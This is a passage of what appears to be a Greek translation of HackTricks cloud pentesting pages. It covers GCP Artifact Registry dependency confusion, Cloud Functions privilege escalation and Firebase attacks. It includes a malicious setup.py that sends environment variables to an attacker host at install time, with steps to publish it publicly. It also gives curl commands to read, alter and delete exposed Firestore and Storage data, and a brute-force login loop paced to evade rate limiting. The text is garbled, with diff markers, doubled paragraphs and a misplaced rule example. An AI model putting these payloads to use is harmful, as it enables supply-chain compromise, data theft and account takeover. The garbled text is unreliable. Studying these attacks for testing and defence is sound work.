Όταν δημιουργείται μια Cloud Function, μια νέα docker image ανεβαίνει στο Artifact Registry του project. Προσπάθησα να τροποποιήσω την εικόνα με μια καινούργια, και ακόμη να διαγράψω την τρέχουσα εικόνα (και την `cache` image) και τίποτα δεν άλλαξε — η Cloud Function συνέχισε να λειτουργεί. Επομένως, ίσως **να είναι δυνατό να καταχραστείς μια Race Condition attack** όπως με το bucket για να αλλάξεις το docker container που θα εκτελεστεί, αλλά **απλώς τροποποιώντας την αποθηκευμένη εικόνα δεν είναι δυνατό να παραβιάσεις την Cloud Function**.
Όταν δημιουργείται ένα Cloud Function, ένα νέο docker image ανεβαίνει στο Artifact Registry του project. Δοκίμασα να αντικαταστήσω την image με μία καινούργια και ακόμη να διαγράψω την τρέχουσα image (και την `cache` image), αλλά τίποτα δεν άλλαξε — το Cloud Function συνέχισε να λειτουργεί. Επομένως, ίσως **είναι δυνατό να καταχραστεί μια Race Condition attack** όπως με το bucket για να αλλάξει το docker container που θα τρέξει, αλλά **η απλή τροποποίηση της αποθηκευμένης εικόνας δεν αρκεί για να παραβιάσει το Cloud Function**.
- **App Engine**
Παρόλο που το App Engine δημιουργεί docker images μέσα στο Artifact Registry. Δοκιμάστηκε ότι **ακόμη και αν τροποποιήσεις την εικόνα μέσα σε αυτήν την υπηρεσία** και αφαιρέσεις το App Engine instance (οπότε γίνεται deploy ενός νέου), ο **εκτελούμενος κώδικας δεν αλλάζει**.\
Μπορεί να είναι δυνατό ότι πραγματοποιώντας μια **Race Condition attack όπως με τα buckets θα ήταν πιθανό να αντικαταστήσεις τον εκτελούμενο κώδικα**, αλλά αυτό δεν δοκιμάστηκε.
Αν και το App Engine δημιουργεί docker images στο Artifact Registry, δοκιμάστηκε ότι **ακόμα κι αν τροποποιήσεις την image μέσα σε αυτήν την υπηρεσία** και αφαιρέσεις την App Engine instance (οπότε αναπτύσσεται μια καινούρια), ο **εκτελούμενος κώδικας δεν αλλάζει**.\
Ενδέχεται ότι εκτελώντας μια **Race Condition attack όπως με τα buckets ίσως είναι δυνατό να αντικατασταθεί ο εκτελούμενος κώδικας**, αλλά αυτό δεν δοκιμάστηκε.
### `artifactregistry.repositories.update`
Δεν χρειάζονται συγκεκριμένα δικαιώματα Artifact Registry για να εκμεταλλευτεί ένας επιτιθέμενος αυτό το ζήτημα — μόνο μια ευάλωτη διαμόρφωση virtual-repository. Αυτό συμβαίνει όταν ένα virtual repository συνδυάζει ένα απομακρυσμένο public repository (π.χ., PyPI, npm) με ένα internal, και η απομακρυσμένη πηγή έχει ίση ή υψηλότερη προτεραιότητα. Αν και τα δύο περιέχουν ένα package με το ίδιο όνομα, το σύστημα επιλέγει την υψηλότερη έκδοση. Ο επιτιθέμενος χρειάζεται μόνο να γνωρίζει το όνομα του internal package και να μπορεί να δημοσιεύσει packages στο αντίστοιχο public registry.
Με την άδεια `artifactregistry.repositories.update`, ένας επιτιθέμενος θα μπορούσε να αλλάξει τις upstream ρυθμίσεις ενός virtual repository για να δημιουργήσει σκόπιμα αυτήν την ευάλωτη διαμόρφωση και να χρησιμοποιήσει Dependency Confusion ως μέθοδο persistence εισάγοντας κακόβουλα packages που developers ή συστήματα CI/CD μπορεί να εγκαταστήσουν αυτόματα.
Ο επιτιθέμενος δημιουργεί μια κακόβουλη έκδοση του internal package στο public repository με υψηλότερο version number. Για Python packages, αυτό σημαίνει προετοιμασία μιας package structure που μιμείται την νόμιμη.
```bash
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
```
Στη συνέχεια δημιουργείται ένα αρχείο setup.py που περιέχει κακόβουλο κώδικα ο οποίος θα εκτελεστεί κατά την εγκατάσταση. Αυτό το αρχείο πρέπει να δηλώνει έναν αριθμό έκδοσης μεγαλύτερο από αυτόν που υπάρχει στο ιδιωτικό αποθετήριο.
```bash
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
```
Κατασκευάστε το package και διαγράψτε το wheel για να εξασφαλίσετε ότι ο κώδικας θα εκτελεστεί κατά την εγκατάσταση.
```bash
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
```
Ανεβάστε το κακόβουλο πακέτο στο δημόσιο αποθετήριο (για παράδειγμα, test.pypi.org για Python).
```bash
pip install twine
twine upload --repository testpypi dist/*
```
Όταν ένα σύστημα ή μια υπηρεσία εγκαθιστά το package χρησιμοποιώντας το virtual repository, θα κατεβάσει την κακόβουλη έκδοση από το public repository αντί για την νόμιμη εσωτερική έκδοση, επειδή η κακόβουλη έκδοση είναι υψηλότερη και το remote repository έχει ίση ή υψηλότερη προτεραιότητα.
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## cloudfunctions
Περισσότερες πληροφορίες για τις Cloud Functions:
Περισσότερες πληροφορίες για Cloud Functions:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,21 +12,19 @@
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Ένας επιτιθέμενος με αυτά τα προνόμια μπορεί να **δημιουργήσει ένα νέο Cloud Function με αυθαίρετο (malicious) code και να του αναθέσει ένα Service Account**. Στη συνέχεια, leak το Service Account token από τα metadata για να αποκτήσει τα προνόμια του.\
Ένας επιτιθέμενος με αυτά τα προνόμια μπορεί να **δημιουργήσει μια νέα Cloud Function με αυθαίρετο (κακόβουλο) κώδικα και να της αναθέσει ένα Service Account**. Στη συνέχεια, leak το Service Account token από τα metadata για να κλιμακώσει τα προνόμια σε αυτό.\
Μπορεί να απαιτούνται κάποια προνόμια για να ενεργοποιηθεί η function.
Exploit scripts για αυτή τη μέθοδο μπορούν να βρεθούν [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) και [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) και το prebuilt .zip αρχείο βρίσκεται [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
Ένας επιτιθέμενος με αυτά τα προνόμια μπορεί να **τροποποιήσει τον κώδικα μιας Function και ακόμη να αλλάξει το συνημμένο Service Account** με στόχο να exfiltrate το token.
Ένας επιτιθέμενος με αυτά τα προνόμια μπορεί να **τροποποιήσει τον κώδικα μιας Function και ακόμη να τροποποιήσει το συνδεδεμένο service account** με στόχο την εξαγωγή του token.
> [!CAUTION]
> Για να αναπτύξετε cloud functions θα χρειαστείτε επίσης δικαιώματα actAs πάνω στο default compute service account ή πάνω στο service account που χρησιμοποιείται για το build της εικόνας.
> Για να αναπτύξετε cloud functions θα χρειαστείτε επίσης δικαιώματα actAs πάνω στο default compute service account ή πάνω στο service account που χρησιμοποιείται για την κατασκευή του image.
Μπορεί να χρειαστούν επιπλέον προνόμια όπως η άδεια `.call` για version 1 cloudfunctions ή ο ρόλος `role/run.invoker` για να ενεργοποιηθεί η function.
<details><summary>Ενημέρωση του Cloud Function με malicious code για να exfiltrate το service account token</summary>
Κάποια επιπλέον προνόμια όπως το δικαίωμα `.call` για version 1 cloudfunctions ή ο ρόλος `role/run.invoker` για να trigger η function μπορεί να απαιτούνται.
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -56,18 +54,14 @@ gcloud functions deploy <cloudfunction-name> \
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
</details>
> [!CAUTION]
> Αν λάβετε το σφάλμα `Permission 'run.services.setIamPolicy' denied on resource...` είναι επειδή χρησιμοποιείτε την παράμετρο `--allow-unauthenticated` και δεν έχετε επαρκή δικαιώματα για αυτήν.
> Αν λάβετε το σφάλμα `Permission 'run.services.setIamPolicy' denied on resource...` είναι επειδή χρησιμοποιείτε την παράμετρο `--allow-unauthenticated` και δεν έχετε τα απαραίτητα δικαιώματα για αυτήν.
Το exploit script για αυτή τη μέθοδο βρίσκεται [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
Με αυτή την άδεια μπορείτε να αποκτήσετε ένα **signed URL για να ανεβάσετε ένα αρχείο σε ένα function bucket (αλλά ο κώδικας της function δεν θα αλλάξει, πρέπει ακόμα να το ενημερώσετε)**
<details><summary>Δημιουργία signed upload URL για Cloud Function</summary>
Με αυτή την άδεια μπορείτε να αποκτήσετε ένα **signed URL για να ανεβάσετε ένα αρχείο σε ένα function bucket (αλλά ο code της function δεν θα αλλάξει, χρειάζεται ακόμα να το ενημερώσετε)**
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -75,21 +69,33 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
</details>
Δεν είμαι σίγουρος πόσο χρήσιμο είναι αυτό το δικαίωμα από την οπτική ενός επιτιθέμενου, αλλά καλό να το ξέρεις.
Δεν είμαι πραγματικά σίγουρος πόσο χρήσιμη είναι μόνο αυτή η άδεια από την πλευρά ενός attackers, αλλά καλό να το ξέρεις.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
Give yourself any of the previous **`.update`** or **`.create`** privileges to escalate.
Χορήγησε στον εαυτό σου οποιοδήποτε από τα προηγούμενα δικαιώματα **`.update`** ή **`.create`** για να escalate.
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`
Only having **`cloudfunctions`** permissions, without **`iam.serviceAccounts.actAs`** you **won't be able to update the function SO THIS IS NOT A VALID PRIVESC.**
Έχοντας μόνο τα δικαιώματα **`cloudfunctions`**, χωρίς **`iam.serviceAccounts.actAs`** **δεν θα μπορείτε να ενημερώσετε τη συνάρτηση — ΕΠΟΜΕΝΩΣ ΑΥΤΟ ΔΕΝ ΕΙΝΑΙ ΕΓΚΥΡΟ PRIVESC.**
### Read & Write Access over the bucket
### Κλήση συναρτήσεων
Εάν έχεις πρόσβαση ανάγνωσης και εγγραφής στο bucket μπορείς να παρακολουθείς αλλαγές στον κώδικα και κάθε φορά που γίνεται **ενημέρωση στο bucket μπορείς να αντικαταστήσεις τον νέο κώδικα με δικό σου** ώστε η νέα έκδοση της Cloud Function να τρέξει με τον υποβληθέντα backdoored κώδικα.
Με τα δικαιώματα `cloudfunctions.functions.get`, `cloudfunctions.functions.invoke`, `run.jobs.run` και `run.routes.invoke`, μια ταυτότητα μπορεί να καλέσει απευθείας τις Cloud Functions. Επίσης είναι απαραίτητο η συνάρτηση να επιτρέπει δημόσια κίνηση ή ο καλών να βρίσκεται στο ίδιο δίκτυο με τη συνάρτηση.
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
```
### Πρόσβαση ανάγνωσης και εγγραφής στο bucket
Εάν έχετε πρόσβαση ανάγνωσης και εγγραφής στο bucket, μπορείτε να παρακολουθείτε αλλαγές στον κώδικα και κάθε φορά που γίνεται **ενημέρωση στο bucket μπορείτε να αντικαταστήσετε τον νέο κώδικα με δικό σας κώδικα** έτσι ώστε η νέα έκδοση της Cloud Function να εκτελεστεί με τον υποβληθέντα backdoored code.
You can check more about the attack in:
@@ -97,16 +103,16 @@ You can check more about the attack in:
gcp-storage-privesc.md
{{#endref}}
Ωστόσο, δεν μπορείς να χρησιμοποιήσεις αυτό για να προ-συμβιβάσεις τρίτες Cloud Functions, γιατί αν δημιουργήσεις το bucket στο λογαριασμό σου και του δώσεις δημόσια δικαιώματα ώστε το εξωτερικό project να γράψει πάνω σε αυτό, παίρνεις το ακόλουθο σφάλμα:
Ωστόσο, δεν μπορείτε να το χρησιμοποιήσετε για να προ-συμβιβάσετε Cloud Functions τρίτων, επειδή αν δημιουργήσετε το bucket στον λογαριασμό σας και του δώσετε δημόσιες άδειες ώστε το εξωτερικό project να μπορεί να γράψει σε αυτό, θα λάβετε το ακόλουθο σφάλμα:
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
> [!CAUTION]
> Ωστόσο, αυτό θα μπορούσε να χρησιμοποιηθεί για DoS attacks.
### Read & Write Access over Artifact Registry
### Πρόσβαση ανάγνωσης και εγγραφής στο Artifact Registry
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Δοκίμασα να τροποποιήσω την image με μια καινούργια, και ακόμη να διαγράψω την τρέχουσα image (και την `cache` image) και τίποτα δεν άλλαξε — η cloud function συνέχισε να λειτουργεί. Επομένως, ίσως **might be possible to abuse a Race Condition attack** όπως με το bucket για να αλλάξεις το docker container που θα τρέξει, αλλά **μόνο η τροποποίηση της αποθηκευμένης image δεν αρκεί για να συμβιβάσει την Cloud Function**.
Όταν δημιουργείται μια Cloud Function, μια νέα docker image ωθείται στο Artifact Registry του project. Προσπάθησα να τροποποιήσω το image με ένα καινούργιο, και ακόμη να διαγράψω το τρέχον image (και το `cache` image) και τίποτα δεν άλλαξε — η Cloud Function συνέχισε να λειτουργεί. Επομένως, ίσως να είναι δυνατό να εκμεταλλευτείτε μια **might be possible to abuse a Race Condition attack** όπως με το bucket για να αλλάξετε το docker container που θα εκτελεστεί, αλλά **just modifying the stored image isn't possible to compromise the Cloud Function**.
## Αναφορές
@@ -0,0 +1,447 @@
# GCP - Firebase Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Firebase
### Μη αυθεντικοποιημένη πρόσβαση στο Firebase Realtime Database
Ένας attacker δεν χρειάζεται κανένα συγκεκριμένο δικαίωμα στο Firebase για να πραγματοποιήσει αυτό το attack. Απαιτείται μόνο να υπάρχει ευάλωτη διαμόρφωση στους κανόνες ασφαλείας του Firebase Realtime Database, όπου οι κανόνες έχουν οριστεί με `.read: true` ή `.write: true`, επιτρέποντας δημόσια ανάγνωση ή εγγραφή.
Ο attacker πρέπει να εντοπίσει το URL της βάσης δεδομένων, που συνήθως ακολουθεί τη μορφή: `https://<project-id>.firebaseio.com/`.
Αυτό το URL μπορεί να βρεθεί μέσω mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), αναλύοντας αρχεία διαμόρφωσης όπως google-services.json (Android) ή GoogleService-Info.plist (iOS), εξετάζοντας τον πηγαίο κώδικα web εφαρμογών, ή αναλύοντας την κυκλοφορία δικτύου για να εντοπιστούν αιτήσεις προς domains `*.firebaseio.com`.
Ο attacker εντοπίζει το URL της βάσης και ελέγχει αν είναι δημόσια εκτεθειμένο, στη συνέχεια προσπελαύνει τα δεδομένα και ενδεχομένως γράφει κακόβουλες πληροφορίες.
Πρώτα, ελέγχουν αν η βάση επιτρέπει πρόσβαση ανάγνωσης προσθέτοντας .json στο URL.
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
Εάν η απάντηση περιέχει δεδομένα JSON ή null (αντί για "Permission Denied"), η βάση δεδομένων επιτρέπει πρόσβαση ανάγνωσης. Για να ελέγξει την πρόσβαση εγγραφής, ο attacker μπορεί να προσπαθήσει να στείλει ένα δοκιμαστικό αίτημα εγγραφής χρησιμοποιώντας το Firebase REST API.
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
Αν η λειτουργία επιτύχει, η βάση δεδομένων επιτρέπει επίσης πρόσβαση εγγραφής.
### Έκθεση δεδομένων στο Cloud Firestore
Ένας attacker δεν χρειάζεται καμία συγκεκριμένη Firebase permissions για να εκτελέσει αυτή την επίθεση. Απαιτείται μόνο να υπάρχει μια ευάλωτη διαμόρφωση στους κανόνες ασφαλείας του Cloud Firestore όπου οι κανόνες επιτρέπουν πρόσβαση ανάγνωσης ή εγγραφής χωρίς αυθεντικοποίηση ή με ανεπαρκή επικύρωση. Ένα παράδειγμα κακώς διαμορφωμένου κανόνα που χορηγεί πλήρη πρόσβαση είναι:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Αυτός ο κανόνας επιτρέπει σε οποιονδήποτε να διαβάζει και να γράφει όλα τα έγγραφα χωρίς περιορισμούς. Οι κανόνες του Firestore είναι λεπτομερείς και εφαρμόζονται ανά συλλογή και έγγραφο, οπότε ένα σφάλμα σε έναν συγκεκριμένο κανόνα μπορεί να εκθέσει μόνο ορισμένες συλλογές.
Ο επιτιθέμενος πρέπει να εντοπίσει το Firebase Project ID, το οποίο μπορεί να βρεθεί μέσω mobile app reverse engineering, ανάλυσης αρχείων ρυθμίσεων όπως google-services.json ή GoogleService-Info.plist, επιθεώρησης του πηγαίου κώδικα web εφαρμογών, ή ανάλυσης της δικτυακής κίνησης για τον εντοπισμό αιτήσεων προς firestore.googleapis.com.
Το Firestore REST API χρησιμοποιεί τη μορφή:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Εάν οι κανόνες επιτρέπουν μη αυθεντικοποιημένη πρόσβαση ανάγνωσης, ο επιτιθέμενος μπορεί να διαβάσει συλλογές και έγγραφα. Πρώτα, προσπαθούν να αποκτήσουν πρόσβαση σε μια συγκεκριμένη συλλογή:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
Εάν η απάντηση περιέχει JSON έγγραφα αντί για σφάλμα δικαιωμάτων, η συλλογή είναι εκτεθειμένη. Ο επιτιθέμενος μπορεί να απαριθμήσει όλες τις προσβάσιμες συλλογές δοκιμάζοντας συνηθισμένα ονόματα ή αναλύοντας τη δομή της εφαρμογής. Για να αποκτήσει πρόσβαση σε ένα συγκεκριμένο έγγραφο:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
Εάν οι κανόνες επιτρέπουν unauthenticated write access ή έχουν ανεπαρκή επικύρωση, ο attacker μπορεί να δημιουργήσει νέα έγγραφα:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'
```
Για να τροποποιήσετε ένα υπάρχον έγγραφο πρέπει να χρησιμοποιήσετε PATCH:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'
```
Για να διαγράψετε ένα έγγραφο και να προκαλέσετε άρνηση υπηρεσίας:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Exposure of files in Firebase Storage
Ένας επιτιθέμενος δεν χρειάζεται ειδικές άδειες Firebase για να εκτελέσει αυτήν την επίθεση. Απαιτεί μόνο ότι υπάρχει μια ευάλωτη διαμόρφωση στους κανόνες ασφαλείας του Firebase Storage όπου οι κανόνες επιτρέπουν πρόσβαση ανάγνωσης ή εγγραφής χωρίς αυθεντικοποίηση ή με ανεπαρκή επικύρωση. Οι Storage rules ελέγχουν τις άδειες ανάγνωσης και εγγραφής ανεξάρτητα, οπότε ένα σφάλμα σε έναν κανόνα μπορεί να εκθέσει μόνο πρόσβαση ανάγνωσης, μόνο πρόσβαση εγγραφής, ή και τα δύο. Ένα παράδειγμα εσφαλμένα διαμορφωμένου κανόνα που παραχωρεί πλήρη πρόσβαση είναι:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}
```
Αυτός ο κανόνας επιτρέπει πρόσβαση ανάγνωσης και εγγραφής σε όλα τα έγγραφα χωρίς περιορισμούς. Οι κανόνες του Firestore είναι λεπτομερείς και εφαρμόζονται ανά συλλογή και ανά έγγραφο, οπότε ένα σφάλμα σε έναν συγκεκριμένο κανόνα μπορεί να εκθέσει μόνο ορισμένες συλλογές. Ο επιτιθέμενος πρέπει να εντοπίσει το Firebase Project ID, το οποίο μπορεί να βρεθεί μέσω mobile application reverse engineering, ανάλυσης αρχείων διαμόρφωσης όπως google-services.json ή GoogleService-Info.plist, επιθεώρησης του web application source code, ή ανάλυσης δικτυακής κυκλοφορίας για να εντοπιστούν αιτήματα προς firestore.googleapis.com.
Το Firestore REST API χρησιμοποιεί τη μορφή: `https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
Εάν οι κανόνες επιτρέπουν πρόσβαση ανάγνωσης χωρίς αυθεντικοποίηση, ο επιτιθέμενος μπορεί να διαβάσει συλλογές και έγγραφα. Αρχικά, προσπαθεί να αποκτήσει πρόσβαση σε μια συγκεκριμένη συλλογή.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
Εάν η απάντηση περιέχει τη λίστα αρχείων αντί για σφάλμα δικαιωμάτων, το αρχείο είναι εκτεθειμένο. Ο επιτιθέμενος μπορεί να δει τα περιεχόμενα των αρχείων καθορίζοντας τη διαδρομή τους:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
Εάν οι κανόνες επιτρέπουν μη αυθεντικοποιημένη πρόσβαση εγγραφής ή έχουν ανεπαρκή επικύρωση, ο επιτιθέμενος μπορεί να ανεβάσει κακόβουλα αρχεία. Για να ανεβάσετε ένα αρχείο μέσω του REST API:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
Ο επιτιθέμενος μπορεί να ανεβάσει code shells, malware payloads ή μεγάλα αρχεία για να προκαλέσει denial of service. Εάν η εφαρμογή επεξεργάζεται ή εκτελεί τα ανεβασμένα αρχεία, ο επιτιθέμενος μπορεί να επιτύχει remote code execution. Για να διαγράψει αρχεία και να προκαλέσει denial of service:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### Κλήση δημόσιων Firebase Cloud Functions
Ένας επιτιθέμενος δεν χρειάζεται ειδικές άδειες Firebase για να εκμεταλλευτεί αυτό το ζήτημα· απαιτείται μόνο το Cloud Function να είναι δημόσια προσβάσιμο μέσω HTTP χωρίς έλεγχο ταυτότητας.
Μια Cloud Function είναι ευάλωτη όταν είναι ανασφαλώς διαμορφωμένη:
- Χρησιμοποιεί functions.https.onRequest, που δεν επιβάλλει έλεγχο ταυτότητας (σε αντίθεση με τις onCall functions).
- Ο κώδικας της function δεν επικυρώνει την ταυτότητα του χρήστη (π.χ. δεν υπάρχουν έλεγχοι για request.auth ή context.auth).
- Η function είναι δημόσια προσβάσιμη στο IAM, δηλαδή το allUsers έχει το roles/cloudfunctions.invoker role. Αυτή είναι η προεπιλεγμένη συμπεριφορά για HTTP functions εκτός αν ο developer περιορίσει την πρόσβαση.
Firebase HTTP Cloud Functions εκτίθενται μέσω URL όπως:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
Ένας επιτιθέμενος μπορεί να ανακαλύψει αυτά τα URLs μέσω source code analysis, network traffic inspection, enumeration tools, ή mobile app reverse engineering.
Αν η function είναι δημόσια εκτεθειμένη και χωρίς έλεγχο ταυτότητας, ο επιτιθέμενος μπορεί να την καλέσει απευθείας χωρίς credentials.
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
If the function does not properly validate inputs, the attacker may attempt other attacks such as code injection or command injection.
### Brute-force attack against Firebase Authentication με αδύναμη πολιτική κωδικών
Ένας επιτιθέμενος δεν χρειάζεται συγκεκριμένα δικαιώματα στο Firebase για να πραγματοποιήσει αυτή την επίθεση. Αρκεί το Firebase API Key να είναι εκτεθειμένο σε mobile ή web εφαρμογές, και η πολιτική κωδικών να μην έχει ρυθμιστεί με πιο αυστηρές απαιτήσεις από τις προεπιλογές.
Ο επιτιθέμενος πρέπει να εντοπίσει το Firebase API Key, το οποίο μπορεί να βρεθεί μέσω reverse engineering της mobile app, ανάλυσης αρχείων ρυθμίσεων όπως google-services.json ή GoogleService-Info.plist, επιθεώρησης του source code των web εφαρμογών (π.χ. σε bootstrap.js), ή ανάλυσης του network traffic.
Το REST API του Firebase Authentication χρησιμοποιεί το endpoint:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
για authentication με email και password.
If Email Enumeration Protection is disabled, API error responses can reveal whether an email exists in the system (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), which allows attackers to enumerate users before attempting password guessing. When this protection is enabled, the API returns the same error message for both nonexistent emails and incorrect passwords, preventing user enumeration.
Είναι σημαντικό να σημειωθεί ότι το Firebase Authentication επιβάλλει rate limiting, το οποίο μπορεί να μπλοκάρει αιτήσεις αν πραγματοποιηθούν πάρα πολλές προσπάθειες authentication σε σύντομο χρονικό διάστημα. Για αυτόν τον λόγο, ένας επιτιθέμενος θα έπρεπε να εισάγει καθυστερήσεις μεταξύ των προσπαθειών για να αποφύγει το rate-limited.
Ο επιτιθέμενος εντοπίζει το API Key και πραγματοποιεί προσπάθειες authentication με πολλούς κωδικούς απέναντι σε γνωστούς λογαριασμούς. If Email Enumeration Protection is disabled, the attacker can enumerate existing users by analyzing the error responses:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'
```
Αν η απάντηση περιέχει EMAIL_NOT_FOUND, το email δεν υπάρχει στο σύστημα. Αν περιέχει INVALID_PASSWORD, το email υπάρχει αλλά ο κωδικός είναι λανθασμένος, επιβεβαιώνοντας ότι ο χρήστης είναι εγγεγραμμένος. Μόλις εντοπιστεί ένας έγκυρος χρήστης, ο attacker μπορεί να εκτελέσει brute-force attempts. Είναι σημαντικό να συμπεριλαμβάνονται παύσεις μεταξύ των προσπαθειών για να αποφευχθούν οι rate-limiting mechanisms του Firebase Authentication:
```bash
counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi
# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done
```
With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.
### Διαχείριση χρηστών στο Firebase Authentication
Ο attacker χρειάζεται συγκεκριμένα δικαιώματα του Firebase Authentication για να πραγματοποιήσει αυτή την επίθεση. Τα απαραίτητα permissions είναι:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to retrieve user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
Αυτά τα permissions περιλαμβάνονται στον ρόλο `roles/firebaseauth.admin`, ο οποίος παρέχει πλήρη read/write access στα Firebase Authentication resources. Επίσης περιλαμβάνονται σε ρόλους υψηλότερου επιπέδου όπως roles/firebase.developAdmin (which includes all firebaseauth.* permissions) και roles/firebase.admin (full access to all Firebase services).
Για να χρησιμοποιήσει το Firebase Admin SDK, ο attacker θα χρειαστεί πρόσβαση σε service account credentials (JSON file), τα οποία μπορεί να βρεθούν σε compromised systems, δημόσια εκτεθειμένα code repositories, compromised CI/CD systems, ή μέσω παραβίασης developer accounts που έχουν πρόσβαση σε αυτά τα credentials.
Το πρώτο βήμα είναι να διαμορφώσετε το Firebase Admin SDK χρησιμοποιώντας service account credentials.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
